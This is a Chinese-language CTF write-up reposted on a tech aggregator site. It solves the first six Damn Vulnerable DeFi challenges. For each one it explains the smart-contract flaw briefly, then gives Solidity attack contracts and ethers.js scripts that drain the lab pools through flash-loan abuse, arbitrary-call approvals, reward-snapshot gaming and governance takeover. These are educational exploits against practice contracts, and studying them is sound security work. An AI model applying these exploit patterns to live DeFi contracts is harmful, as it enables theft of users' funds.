IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 区块链 -> 【damnvulnerabledefi】ctf挑战1-6 -> 正文阅读

[区块链]【damnvulnerabledefi】ctf挑战1-6

ctf网址:https://www.damnvulnerabledefi.xyz/

第一题:unstoppable

代码中定义变量来记录tokenbalance来判断是否与当前balance相等,如果调用token的transfer发送给pool一点token就会让判断失败flashLoan函数就会恒定失败无法完成。

exp代码:

await this.token.connect(attacker).transfer(this.pool.address,INITIAL_ATTACKER_TOKEN_BALANCE);

第二题:Naive receiver
合约FlashLoanReceiver只判断了msg.sender是否等于pool。
所以通过调用10次闪电贷合约borrower地址填写FlashLoanReceiver地址就可以将FlashLoanReceiver内的eth清空,
exp代码:
合约代码:

import "../naive-receiver/NaiveReceiverLenderPool.sol";
contract AttackNaiveReceiver {
    NaiveReceiverLenderPool pool;

    constructor(address payable _pool) {
        pool = NaiveReceiverLenderPool(_pool);
    }

    function attack(address victim) public {
        for (int i=0; i < 10; i++ ) {
            pool.flashLoan(victim, 1 ether);
        }
    }
    
}

利用代码:

 const AttackFactory = await ethers.getContractFactory("AttackNaiveReceiver", attacker);
const attackContract = await AttackFactory.deploy(this.pool.address);
await attackContract.attack(this.receiver.address);

第三题:Truster
TrusterLenderPool 合约中闪电贷可以调用任意合约的任意函数。通过让合约调用token的approve函数来授权给attacker,再通过transferfrom将token转移给自己就能将token收走。
exp代码:

	const abi = ["function approve(address spender, uint256 amount)"]
	const iface = new ethers.utils.Interface(abi);
	const data = iface.encodeFunctionData("approve", [attacker.address, ethers.constants.MaxUint256]);
    await this.pool.flashLoan(0, attacker.address, this.token.address, data);
   	await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL);

第四题:SideEntrance
合约SideEntranceLenderPool中闪电贷函数没什么问题,但有一个deposit函数可以将eth再放回合约,通过flashLoan后再调用withdraw函数即可将合约中的eth转移给attacker。
exp代码:
合约代码:

import "./SideEntranceLenderPool.sol";

contract AttackSideEntrance{
    SideEntranceLenderPool pool;
    address owner;
    constructor(address payable _pool) {
        pool = SideEntranceLenderPool(_pool);
        owner = payable(msg.sender);
    }
    function execute()public payable{
        pool.deposit{value:address(this).balance}();
    }
    function attack(uint256 amount) public payable{
        pool.flashLoan(amount);
        pool.withdraw();
    }
    receive () external payable {
        payable(owner).transfer(address(this).balance);
    }
}

利用代码:

const AttackFactory = await ethers.getContractFactory("AttackSideEntrance", attacker);
const attackContract = await AttackFactory.deploy(this.pool.address);
await attackContract.attack(ETHER_IN_POOL);

第五题:The rewarder
在新的一轮中如果第一个调用distributeRewards就能执行accToken.snapshot()设置balance并且根据token数量的百分比分配token,而在deposit中有distributeRewards函数。如果通过闪电贷借大量token再deposit就能拿到新一轮的大量token。
exp代码:

import "../the-rewarder/FlashLoanerPool.sol";
import "../the-rewarder/TheRewarderPool.sol";
import "../DamnValuableToken.sol";
contract AttackReward {
    FlashLoanerPool pool;
    DamnValuableToken public immutable liquidityToken;
    TheRewarderPool rewardPool;
    address payable owner;
    constructor(
        address poolAddress,
        address liquidityTokenAddress,
        address rewardPoolAddress,
        address payable _owner
    ) {
        pool = FlashLoanerPool(poolAddress);
        liquidityToken = DamnValuableToken(liquidityTokenAddress);
        rewardPool = TheRewarderPool(rewardPoolAddress);
        owner = _owner;
    }

    function attack(uint256 amount) external {
        pool.flashLoan(amount);
    }

    function receiveFlashLoan(uint256 amount) external {
       
        liquidityToken.approve(address(rewardPool), amount);
        rewardPool.deposit(amount);
        rewardPool.withdraw(amount);
        liquidityToken.transfer(address(pool), amount);
        uint256 currBal = rewardPool.rewardToken().balanceOf(address(this));
        rewardPool.rewardToken().transfer(owner, currBal);
    }
}

利用代码:

const AttackRewardFactory = await ethers.getContractFactory("AttackReward", attacker);
        const attackContract = await AttackRewardFactory
        .deploy(
            this.flashLoanPool.address, 
            this.liquidityToken.address, 
            this.rewarderPool.address,
            attacker.address)
        await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
        await attackContract.attack(TOKENS_IN_LENDER_POOL);

第六题:Selfie
函数queueAction可以提交执行请求并且2天后通过执行executeaction执行任意函数,闪电贷借取大于1/2总数的token,并调用token的Snapshot后提交drainAllFunds的请求并在2天后执行就能提取SelfiePool所用的token;
exp代码:
合约代码:

import "../selfie/SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";

contract AttackSelfie {
    SelfiePool pool;
    DamnValuableTokenSnapshot public governanceToken;
    address owner;
    constructor(
        address poolAddress,
        address governanceTokenAddress,
        address _owner
    ) {
        pool = SelfiePool(poolAddress);
        governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
        owner = _owner;
    }

    function attack() public {
        uint256 amountToBorrow = pool.token().balanceOf(address(pool));
        pool.flashLoan(amountToBorrow);
    }

    function receiveTokens(address token, uint256 amount) external {
        governanceToken.snapshot();
        pool.governance().queueAction(
            address(pool),
            abi.encodeWithSignature("drainAllFunds(address)", owner),
            0
        );
        governanceToken.transfer(address(pool), amount);
    }
}

利用代码:

const AttackFactory = await ethers.getContractFactory("AttackSelfie", attacker);
        const attackContract = await AttackFactory.deploy(this.pool.address, this.token.address, attacker.address);
        await attackContract.attack();
        await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 5 days
        const attackGovernenceContract = this.governance.connect(attacker);
        await attackGovernenceContract.executeAction(1);
  区块链 最新文章
盘点具备盈利潜力的几大加密板块,以及潜在
阅读笔记|让区块空间成为商品,打造Web3云
区块链1.0-比特币的数据结构
Team Finance被黑分析|黑客自建Token“瞒天
区块链≠绿色?波卡或成 Web3“生态环保”标
期货从入门到高深之手动交易系列D1课
以太坊基础---区块验证
进入以太坊合并的五个数字
经典同态加密算法Paillier解读 - 原理、实现
IPFS/Filecoin学习知识科普(四)
上一篇文章      下一篇文章      查看所有文章
加:2022-02-22 20:38:10  更:2022-02-22 20:38:16 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/28 18:23:48-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计